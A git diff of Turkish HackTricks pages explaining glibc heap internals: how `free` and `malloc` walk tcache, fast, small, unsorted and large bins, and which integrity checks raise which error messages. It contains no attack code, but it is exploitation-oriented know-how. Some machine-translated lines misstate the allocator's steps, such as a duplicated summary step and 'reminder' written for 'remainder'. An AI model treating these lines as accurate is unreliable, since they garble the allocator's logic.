* Değilse, renk ekle ve üzerine `_int_free` çağır
<details>
@ -92,10 +93,14 @@ libc_hidden_def (__libc_free)
### \_int\_free başlangıç <a href="#int_free" id="int_free"></a>
Belirli kontrollerle başlar ve şunları sağlar:
Belirli kontrollerle başlar:
* **İşaretçinin** **hizalandığından** emin olur veya hata tetikler `free(): geçersiz işaretçi`
* **Boyutun** minimumdan küçük olmadığından ve **boyutunun** de **hizalandığından** emin olur veya hata tetikler: `free(): geçersiz boyut`
<details>
<summary>_int_free başlangıç</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@ -129,7 +134,7 @@ check_inuse_chunk(av, p);
İlk olarak bu parçayı ilgili tcache'e ayırmaya çalışacaktır. Ancak önceden bazı kontroller yapılır. Serbest bırakılan parçanın aynı dizindeki tüm tcache parçaları üzerinden dönecektir ve:
* Giriş sayısı `mp_.tcache_count`'dan fazlaysa: `free(): tcache'de fazla parça tespit edildi`
* Giriş sayısı `mp_.tcache_count`'dan fazlaysa: `free(): tcache'de çok fazla parça tespit edildi`
* Giriş hizalanmamışsa: `free(): tcache 2'de hizalanmamış parça tespit edildi`
* Serbest bırakılan parça zaten serbest bırakılmış ve tcache'de bir parça olarak mevcutsa: `free(): tcache 2'de çift serbest bırakma tespit edildi`
@ -185,9 +190,9 @@ return;
### \_int\_free hızlı bin <a href="#int_free" id="int_free"></a>
Öncelikle, boyutun hızlı bin için uygun olup olmadığını kontrol edin ve onu üst parça ile yakın bir şekilde ayarlayabilir miyiz diye kontrol edin.
Öncelikle, boyutun hızlı bin için uygun olup olmadığını kontrol edin ve onu üst parça ile yakın bir şekilde ayarlayabilir miyiz kontrol edin.
Ardından, serbest bırakılan parçayı hızlı bini en üste eklerken bazı kontroller yapın:
Ardından, serbest bırakılan parçayı hızlı bini en üste ekleyin ve bazı kontroller yaparken:
- Parçanın boyutu geçersiz ise (çok büyük veya küçük) tetikleyin: `free(): invalid next size (fast)`
- Eklenen parça zaten hızlı binin en üstünde ise: `double free or corruption (fasttop)`
@ -313,7 +318,7 @@ munmap_chunk (p);
## \_int\_free\_merge\_chunk
Bu işlev, P boyutundaki CHUNK'ı komşularıyla birleştirmeye çalışacaktır. Sonuçta oluşan parçayı sıralanmamış kova listesine koyar.
Bu işlev, P boyutundaki parçayı komşularıyla birleştirmeye çalışacaktır. Sonuçta oluşan parçayı sıralanmamış kova listesine koyar.
Bazı kontroller yapılır:
@ -321,7 +326,7 @@ Bazı kontroller yapılır:
* Eğer bir sonraki parça arena sınırlarının dışında ise: `double free or corruption (out)`
* Eğer parça kullanılmış olarak işaretlenmemişse (`prev_inuse`'da bulunan bir sonraki parçada): `double free or corruption (!prev)`
* Eğer bir sonraki parçanın boyutu çok küçük veya çok büyükse: `free(): invalid next size (normal)`
* Eğer önceki parça kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, prev\_size önceki parçada belirtilen boyuttan farklıysa: `corrupted size vs. prev_size while consolidating`
* Eğer önceki parça kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, eğer prev\_size önceki parçada belirtilen boyuttan farklıysa: `corrupted size vs. prev_size while consolidating`
<details>
@ -375,16 +380,17 @@ _int_free_maybe_consolidate (av, size);
```
</details>
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Heap Fonksiyonları Güvenlik Kontrolleri
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details>
{% endhint %}
## unlink
@ -22,7 +23,7 @@ Daha fazla bilgi için kontrol edin:
[unlink.md](unlink.md)
{% endcontent-ref %}
Yapılan kontrollerin özeti şunlardır:
Bu, yapılan kontrollerin özeti:
* Belirtilen blok boyutunun, bir sonraki blokta belirtilen `prev_size` ile aynı olup olmadığını kontrol edin
* Hata mesajı: `corrupted size vs. prev_size`
@ -54,21 +55,21 @@ Daha fazla bilgi için kontrol edin:
* **Konsolidasyon sırasında yapılan kontroller** her hızlı blok bloğu için gerçekleştirilir:&#x20;
* Blok hizalanmamışsa tetikleyin:
* Hata mesajı: `malloc_consolidate(): unaligned fastbin chunk detected`
* Bloğun, içinde bulunduğu dizine göre farklı bir boyuta sahip olması durumunda:
* Bloğun, içinde bulunduğu dizine göre farklı bir boyutta olması durumunda:
* Hata mesajı: `malloc_consolidate(): invalid chunk size`
* Önceki blok kullanımda değilse ve önceki bloğun boyutu prev\_chunk tarafından belirtilenden farklıysa:
* Önceki blok kullanımda değilse ve önceki bloğun boyutu prev\_chunk tarafından belirtilen boyuttan farklıysa:
* Hata mesajı: `corrupted size vs. prev_size in fastbins`
* **Sırasız blok araması sırasında yapılan kontroller**:
* **Karışık blok araması sırasında yapılan kontroller**:
* Blok boyutu garipse (çok küçük veya çok büyük):&#x20;
* Hata mesajı: `malloc(): invalid size (unsorted)`
* Sonraki blok boyutu garipse (çok küçük veya çok büyük):
* Hata mesajı: `malloc(): invalid next size (unsorted)`
* Bir sonraki bloğun belirttiği önceki blok boyutu, bloğun boyutundan farklıysa:
* Bir sonraki bloğun belirttiği önceki boyut, bloğun boyutundan farklıysa:
* Hata mesajı: `malloc(): mismatching next->prev_size (unsorted)`
* Eğer `victim->bck->fd == victim` değilse veya `victim->fd == av (arena)` değilse:
* Hata mesajı: `malloc(): unsorted double linked list corrupted`
* Her zaman sonuncusunu kontrol ettiğimizden, fd'sinin her zaman arena yapısına işaret etmesi gerekir.
* Sonraki blok, öncekinin kullanımda olduğunu belirtmiyorsa:
* Bir sonraki blok, öncekinin kullanımda olduğunu belirtmiyorsa:
* Hata mesajı: `malloc(): invalid next->prev_inuse (unsorted)`
* `fwd->bk_nextsize->fd_nextsize != fwd` ise:
* Hata mesajı: `malloc(): largebin double linked list corrupted (nextsize)`
@ -115,12 +116,12 @@ Daha fazla bilgi için kontrol edin:
* Hata mesajı: `free(): invalid pointer`
* Boyut `MINSIZE`'dan büyükse ve boyut aynı zamanda hizalanmışsa:
* Hata mesajı: `free(): invalid size`
* **`_int_free` tcache'deki kontroller:**
* **`_int_free` tcache içindeki kontroller:**
* `mp_.tcache_count`'dan fazla giriş varsa:
* Hata mesajı: `free(): too many chunks detected in tcache`
* Giriş hizalanmamışsa:
* Hata mesajı: `free(): unaligned chunk detected in tcache 2`
* Serbest bırakılan blok zaten serbest bırakılmışsa ve tcache'te bir blok olarak mevcutsa:
* Serbest bırakılan blok zaten serbest bırakılmış ve tcache'te bir blok olarak mevcutsa:
* Hata mesajı: `free(): double free detected in tcache 2`
* **`_int_free` hızlı blok içindeki kontroller:**
* Blok boyutu geçersizse (çok büyük veya küçük) tetikleyin:
@ -131,33 +132,33 @@ Daha fazla bilgi için kontrol edin:
* Hata mesajı: `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`**
* **`_int_free_merge_chunk` içinde yapılan kontroller:**
* **`_int_free_merge_chunk` içindeki kontroller:**
* Eğer chunk en üst chunk ise:
* Hata mesajı: `double free or corruption (top)`
* Eğer bir sonraki chunk arena sınırlarının dışında ise:
* Hata mesajı: `double free or corruption (out)`
* Eğer chunk kullanılmamış olarak işaretlenmemişse (bir sonraki chunk'taki prev\_inuse'ta):
* Eğer chunk kullanılmamış olarak işaretlenmemişse (sonraki chunk'taki prev\_inuse içinde):
* Hata mesajı: `double free or corruption (!prev)`
* Eğer bir sonraki chunk'ın boyutu çok küçük veya çok büyükse:
* Eğer bir sonraki chunk'ın boyutu çok küçük veya çok büyük ise:
* Hata mesajı: `free(): invalid next size (normal)`
* Eğer önceki chunk kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, `prev_size` önceki chunk'ta belirtilen boyuttan farklıysa:
* Eğer önceki chunk kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, `prev_size` önceki chunk'ta belirtilen boyuttan farklı ise:
* Hata mesajı: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**
* **`_int_free_create_chunk` içinde yapılan kontroller:**
* Sırasız bin'e bir chunk eklenirken, `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` kontrol edilir:
* **`_int_free_create_chunk` içindeki kontroller:**
* Sırasız bin'e bir chunk eklerken, `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` kontrol edilir:
* Hata mesajı: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
* **`do_check_malloc_state` içinde yapılan kontroller:**
* **`do_check_malloc_state` içindeki kontroller:**
* Hatalı hızlı bin chunk'ı:
* Hata mesajı: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
* **`malloc_consolidate` içinde yapılan kontroller:**
* **`malloc_consolidate` içindeki kontroller:**
* Hatalı hızlı bin chunk'ı:
* Hata mesajı: `malloc_consolidate(): unaligned fastbin chunk detected`
* Yanlış hızlı bin chunk boyutu:
@ -165,8 +166,8 @@ Daha fazla bilgi için kontrol edin:
## `_int_realloc`
* **`_int_realloc` içinde yapılan kontroller:**
* Boyut çok büyük veya çok küçük:
* **`_int_realloc` içindeki kontroller:**
* Boyut çok büyük veya çok küçük ise:
* Hata mesajı: `realloc(): invalid old size`
* Bir sonraki chunk'ın boyutu çok büyük veya çok küçük:
* Bir sonraki chunk'ın boyutu çok büyük veya çok küçük ise:
* Hata mesajı: `realloc(): invalid next size`

View file

@ -1,41 +1,41 @@
# malloc ve sysmalloc
# malloc & sysmalloc
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
</details>
{% endhint %}
## Tahsis Sırası Özeti <a href="#libc_malloc" id="libc_malloc"></a>
(Bu özetde hiçbir kontrol açıklanmamış ve bazı durumlar kısalık için atlanmıştır)
(Bu özetde hiçbir kontrol açıklanmamıştır ve kısa olması için bazı durumlar atlanmıştır)
1. `__libc_malloc`, bir parça almak için tcache'den deneme yapar, yoksa `_int_malloc`ı çağırır
1. `__libc_malloc`, bir parça almak için tcache'den deneme yapar, eğer yoksa `_int_malloc`ı çağırır
2. `_int_malloc` :&#x20;
1. Arena oluşturmaya çalışır, eğer yoksa
1. Arena oluşturmaya çalışır eğer yoksa
2. Doğru boyuttaki herhangi bir hızlı bin parçasını kullanır
1. Diğer hızlı parçalarla tcache'i doldurur
3. Doğru boyuttaki herhangi bir küçük bin parçasını kullanır
1. O boyuttaki diğer parçalarla tcache'i doldurur
4. İstenen boyut küçük kutular için değilse, hızlı kutuyu sıralanmamış kutuya birleştirir
5. Sıralanmamış kutuyu kontrol eder, yeterli alanı olan ilk parçayı kullanır
1. Bulunan parça daha büyükse, onu bir kısım döndürmek için böler ve kalanı sıralanmamış kutuya ekler
2. Bir parça, istenen boyuttaki parça ile aynı boyutta ise, onu geri döndürmek yerine tcache'i doldurmak için kullanır (tcache dolana kadar, sonra bir sonrakisini döndürür)
3. Kontrol edilen her küçük boyuttaki parça için, ilgili küçük veya büyük kutuya koyar
6. İstenen boyutun indeksindeki büyük kutuyu kontrol eder
1. İstenen boyuttan büyük ilk parçadan başlayarak bakmaya başlar, bulunursa onu döndürür ve hatırlatıcıları küçük kutuya ekler
7. Sonraki indekslerdeki büyük kutuları kontrol eder
1. Daha büyük bir indeksten başlayarak herhangi bir parçayı kontrol eder, bulunan ilk parçayı istenen boyutta kullanmak için böler ve hatırlatıcıyı sıralanmamış kutuya ekler
8. Önceki kutularda bir şey bulunamazsa, üst parçadan bir parça alır
9. Üst parça yeterince büyük değilse, `sysmalloc` ile genişletir
4. İstenen boyut küçük binler için değilse, hızlı binleri sıralanmamış bine birleştirir
5. Sıralanmamış bini kontrol eder, yeterli alanı olan ilk parçayı kullanır
1. Bulunan parça daha büyükse, bir kısmını döndürmek için böler ve geri kalanı sıralanmamış bine ekler
2. Bir parça, istenen boyutta olduğu gibi, onu geri döndürmek yerine tcache'i doldurmak için kullanır (tcache dolana kadar, sonra bir sonrakini döndürür)
3. Kontrol edilen her küçük boyuttaki parça için, ilgili küçük veya büyük bine koyar
6. İstenen boyutun indeksindeki büyük bini kontrol eder
1. İstenen boyuttan büyük olan ilk parçadan başlayarak bakmaya başlar, bulunursa onu döndürür ve geri kalanları küçük bine ekler
7. Önceki indekslerde bir şey bulunamazsa, üst parçadan bir parça alır
8. Önceki binalarda bir şey bulunamazsa, üst parçadan bir parça alır
9. Üst parça yeterince büyük değilse, `sysmalloc` ile genişletilir
## \_\_libc\_malloc <a href="#libc_malloc" id="libc_malloc"></a>
@ -177,15 +177,9 @@ __set_errno (ENOMEM);
return NULL;
}
```
</details>
### Arena
Kullanılabilir arenaların olmadığı nadir durumlarda, bir parça almak için `mmap`'den bir parça almak için `sysmalloc` kullanır:
<details>
<summary>_int_malloc arenaya ait değil</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6
/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
@ -198,17 +192,19 @@ alloc_perturb (p, bytes);
return p;
}
```
</details>
### Hızlı Bin
Gerekli boyut Hızlı Bin boyutları arasındaysa, hızlı bir kutudan bir parça kullanmaya çalışın. Temelde, boyuta bağlı olarak geçerli parçaların bulunması gereken hızlı bin endeksini bulacak ve varsa onlardan birini döndürecektir.\
Ayrıca, tcache etkinleştirilmişse, **o boyuttaki tcache kutusunu hızlı kutularla dolduracaktır**.
Gerekli boyut Hızlı Bin boyutları arasında ise, hızlı bir bin bloğundan bir parça kullanmaya çalışın. Temel olarak, boyuta bağlı olarak geçerli parçaların bulunması gereken hızlı bin endeksini bulacak ve varsa onlardan birini döndürecektir.\
Ayrıca, tcache etkinleştirilmişse, o boyuttaki tcache binini hızlı binalarla dolduracaktır.
Bu işlemler gerçekleştirilirken bazı güvenlik kontrolleri burada yürütülür:
- Eğer parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası tespit edildi 2`
- İleriye doğru parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası tespit edildi`
- Döndürülen parçanın boyutu, hızlı bindeki dizini nedeniyle doğru değilse: `malloc(): bellek bozulması (hızlı)`
- Tcache'i doldurmak için kullanılan herhangi bir parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası tespit edildi 3`
- Eğer parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası algılandı 2`
- İleriye doğru parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası algılandı`
- Döndürülen parçanın boyutu, hızlı bindeki endeksi nedeniyle doğru değilse: `malloc(): bellek bozulması (hızlı)`
- Tcache'i doldurmak için kullanılan herhangi bir parça hizalanmamışsa: `malloc(): hizalanmamış hızlı bin parçası algılandı 3`
<details>
@ -293,17 +289,17 @@ return p;
### Küçük Bin
Yorumda belirtildiği gibi küçük getiriler, bir dizin başına bir boyut tutar, bu nedenle geçerli bir parçanın mevcut olup olmadığını kontrol etmek çok hızlıdır, bu nedenle hızlı getirilerden sonra küçük getiriler kontrol edilir.
Yorumda belirtildiği gibi küçük binalar, bir dizine bir boyut tutar, bu nedenle geçerli bir parçanın mevcut olup olmadığını kontrol etmek çok hızlıdır, bu nedenle hızlı binalardan sonra küçük binalar kontrol edilir.
İlk kontrol, istenen boyutun küçük bir getiri içinde olup olamayacağını bulmaktır. Bu durumda, küçük bin içindeki ilgili **dizini alın** ve **mevcut bir parçanın olup olmadığını** kontrol edin.
İlk kontrol, istenen boyutun bir küçük binin içinde olup olamayacağını bulmaktır. Bu durumda, küçük bin içindeki ilgili **dizini alın** ve **mevcut bir parçanın olup olmadığını** kontrol edin.
Ardından, şu güvenlik kontrolü yapılır:
Ardından, bir güvenlik kontrolü yapılır:
- `victim->bk->fd = victim` ise. Her iki parçanın doğru şekilde bağlı olup olmadığını görmek için.
Bu durumda, parça **`inuse` bitini alır,** çift yönlü bağlı liste düzeltilir, böylece bu parça listeden çıkar (kullanılacak), ve gerekiyorsa ana arenadan farklı bir bit ayarlanır.
Bu durumda, parça **`inuse` bitini alır,** çift yönlü bağlı liste düzeltilir, böylece bu parça bundan kaybolur (kullanılacak), ve gerekiyorsa ana arenadan olmayan bit ayarlanır.
Son olarak, istenen boyuttaki tcache dizinini küçük bin içindeki diğer parçalarla (varsa) doldurun.
Son olarak, istenen boyuttaki tcache dizinini küçük bin içindeki diğer parçalarla doldurun (varsa).
<details>
@ -368,7 +364,7 @@ return p;
}
}
```
### malloc\_consolidate
### malloc\_birleştir
Eğer küçük bir parça değilse, büyük bir parçadır ve bu durumda bellek parçalanmasını önlemek için **`malloc_consolidate`** çağrılır.
@ -397,14 +393,14 @@ malloc_consolidate (av);
```
</details>
malloc birleştirme işlevi temelde parçaları hızlı binlerden kaldırır ve bunları sırasız bine yerleştirir. Bir sonraki malloc işleminden sonra bu parçalar ilgili küçük/hızlı binalarında düzenlenecektir.
malloc birleştirme işlevi temelde parçaları hızlı binlerden kaldırır ve bunları sırasız bine yerleştirir. Bir sonraki malloc işleminden sonra bu parçalar ilgili küçük/hızlı bine düzenlenecektir.
Bu parçalar kaldırılırken, eğer kullanılmayan önceki veya sonraki parçalarla karşılaşılırsa, bunlar **ayrılmış ve birleştirilir** ve ardından nihai parça **sırasız** bine yerleştirilir.
Bu parçalar kaldırılırken, eğer kullanılmayan önceki veya sonraki parçalarla karşılaşılırsa, bunlar **ayrılmaz ve birleştirilir** ve ardından nihai parça **sırasız** bine yerleştirilir.
Her hızlı bin parçası için birkaç güvenlik kontrolü gerçekleştirilir:
* Parça hizalanmamışsa tetikle: `malloc_consolidate(): hizalanmamış fastbin parçası tespit edildi`
* Parçanın endeksi nedeniyle olması gereken boyuttan farklı bir boyutta olması durumunda: `malloc_consolidate(): geçersiz parça boyutu`
* Parça, içinde bulunduğu dizin nedeniyle olması gereken boyuttan farklıysa: `malloc_consolidate(): geçersiz parça boyutu`
* Önceki parça kullanılmıyorsa ve önceki parçanın boyutu `prev_chunk` tarafından belirtilen boyuttan farklıysa: `fastbins içinde bozulmuş boyut vs. prev_size`
```c
// https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2
@ -510,13 +506,13 @@ av->top = p;
### Sıralanmamış kova
Potansiyel geçerli bir parçacık kullanmak için sıralanmamış kovayı kontrol etme zamanı geldi.
Potansiyel geçerli bir parçacık bulmak için sıralanmamış kovayı kontrol etme zamanı geldi.
#### Başlangıç
Bu, `bk` yönünde sıralanmamış kovayı dolaşacak olan büyük bir döngü ile başlar ve `while ((victim = sıralanmamış_parçacıklar (av)->bk) != sıralanmamış_parçacıklar (av))` ile sona erene kadar devam eder.
Ayrıca, her yeni parçacık düşünüldüğünde bazı güvenlik kontrolleri gerçekleştirilir:
Ayrıca, her yeni parçacık değerlendirildiğinde bazı güvenlik kontrolleri gerçekleştirilir:
* Parçacık boyutu garipse (çok küçük veya çok büyük): `malloc(): geçersiz boyut (sıralanmamış)`
* Sonraki parçacık boyutu garipse (çok küçük veya çok büyük): `malloc(): geçersiz sonraki boyut (sıralanmamış)`
@ -576,9 +572,15 @@ if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
```
</details>
#### eğer `in_smallbin_range`
Eğer parça istenilen boyuttan büyükse, onu kullan ve parçanın geri kalan alanını sırasız listeye koyarak `last_remainder`'ı güncelle.
Eğer parça istenilen boyuttan büyükse, onu kullan ve parçanın geri kalan alanını sırasız listeye koyarak `last_remainder`'ı güncelle.
<details>
<summary><code>_int_malloc</code> sırasız parça <code>in_smallbin_range</code></summary>
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14
@ -619,7 +621,7 @@ return p;
}
```
</detaylar>
</details>
Başarılı olduysa, parçayı döndür ve işlemi sonlandır, başarısız olduysa işlemi devam ettir...
@ -630,9 +632,9 @@ Başarılı olduysa, parçayı döndür ve işlemi sonlandır, başarısız oldu
* Tcache dolu değilse, parçayı tcache'e ekleyin ve kullanılabilecek bir tcache parçası olduğunu belirtmeye devam edin
* Tcache doluysa, sadece kullanarak geri döndürün
<detaylar>
<details>
<özet><code>_int_malloc</code> sıralanmamış kova eşit boyutta</özet>
<summary><code>_int_malloc</code> sıralanmamış kova eşit boyutta</summary>
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14
@ -672,13 +674,13 @@ return p;
```
</details>
Eğer blok geri döndürülmediyse veya tcache'e eklenmediyse, kodla devam edin...
Eğer parça geri dönmediyse veya tcache'e eklenmediyse, kodla devam edin...
#### bloğu bir kovaya yerleştir
#### parçayı bir kovaya yerleştirin
Kontrol edilen bloğu, bloğun boyutuna göre küçük kovaya veya büyük kovaya depolayın (büyük kovayı düzgün şekilde organize ederek).
Parçayı, parçanın boyutuna göre küçük kovaya veya büyük kovaya depolayın (büyük kovayı düzgün bir şekilde düzenleyerek).
Büyük kova çift yönlü bağlı listesinin bozulmadığından emin olmak için güvenlik kontrolleri yapılır:
Her iki büyük kova çift yönlü bağlı listesinin bozulmadığından emin olmak için güvenlik kontrolleri yapılıyor:
* Eğer `fwd->bk_nextsize->fd_nextsize != fwd` ise: `malloc(): largebin double linked list corrupted (nextsize)`
* Eğer `fwd->bk->fd != fwd` ise: `malloc(): largebin double linked list corrupted (bk)`
@ -753,11 +755,11 @@ bck->fd = victim;
```
#### `_int_malloc` sınırları
Bu noktada, kullanılabilecek bir tcache parçası varsa ve limit aşıldıysa, sadece **bir tcache parçası döndürün**.
Bu noktada, kullanılabilecek bir parça tcache'de depolanmışsa ve limit aşılmışsa, sadece **bir tcache parçası döndürün**.
Ayrıca, **MAX\_ITERS** ulaşıldığında, döngüden çıkın ve farklı bir şekilde (top parça) bir parça alın.
Ayrıca, **MAX\_ITERS** ulaşıldığında, döngüden çıkın ve farklı bir şekilde (üst parça) bir parça alın.
`return_cached` ayarlandıysa, daha büyük aramalardan kaçınmak için sadece bir parçayı tcacheden döndürün.
`return_cached` ayarlandıysa, daha büyük aramalardan kaçınmak için sadece bir parça tcache'den döndürün.
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7
@ -792,13 +794,17 @@ Eğer sınırlar aşılmamışsa, kodla devam edin...
### Büyük Bin (indeksine göre)
Eğer istek büyükse (küçük binde değil) ve henüz hiçbir parça döndürmemişsek, istenen boyuttaki **indeksi büyük bine** alın, **doluluk kontrol edilir** ve eğer **bu bine en büyük parça istenenden büyükse** ve bu durumda istenen boyut için **kullanılabilecek en küçük parça** bulunur.
Eğer istek büyükse (küçük binde değil) ve henüz hiçbir parça döndürmemişsek, istenen boyuttaki parçanın **indeksini büyük bine** alın, **doluluk kontrolü yapın** ve eğer bu bine ait **en büyük parça istenilen boyuttan büyükse** ve bu durumda istenen boyut için **kullanılabilecek en küçük parçayı bulun**.
Son olarak kullanılan parçadan kalan alan yeni bir parça oluşturabilecekse, bunu sıralanmamış bine ekleyin ve lsast\_reminder güncellenir.
Son olarak kullanılan parçadan kalan boş alan yeni bir parça oluşturabilecekse, bunu düzensiz bine ekleyin ve lsast\_reminder güncellenir.
Hatırlatıcıyı sıralanmamış bine eklerken bir güvenlik kontrolü yapılır:
Hatırlatıcıyı düzensiz bine eklerken bir güvenlik kontrolü yapılır:
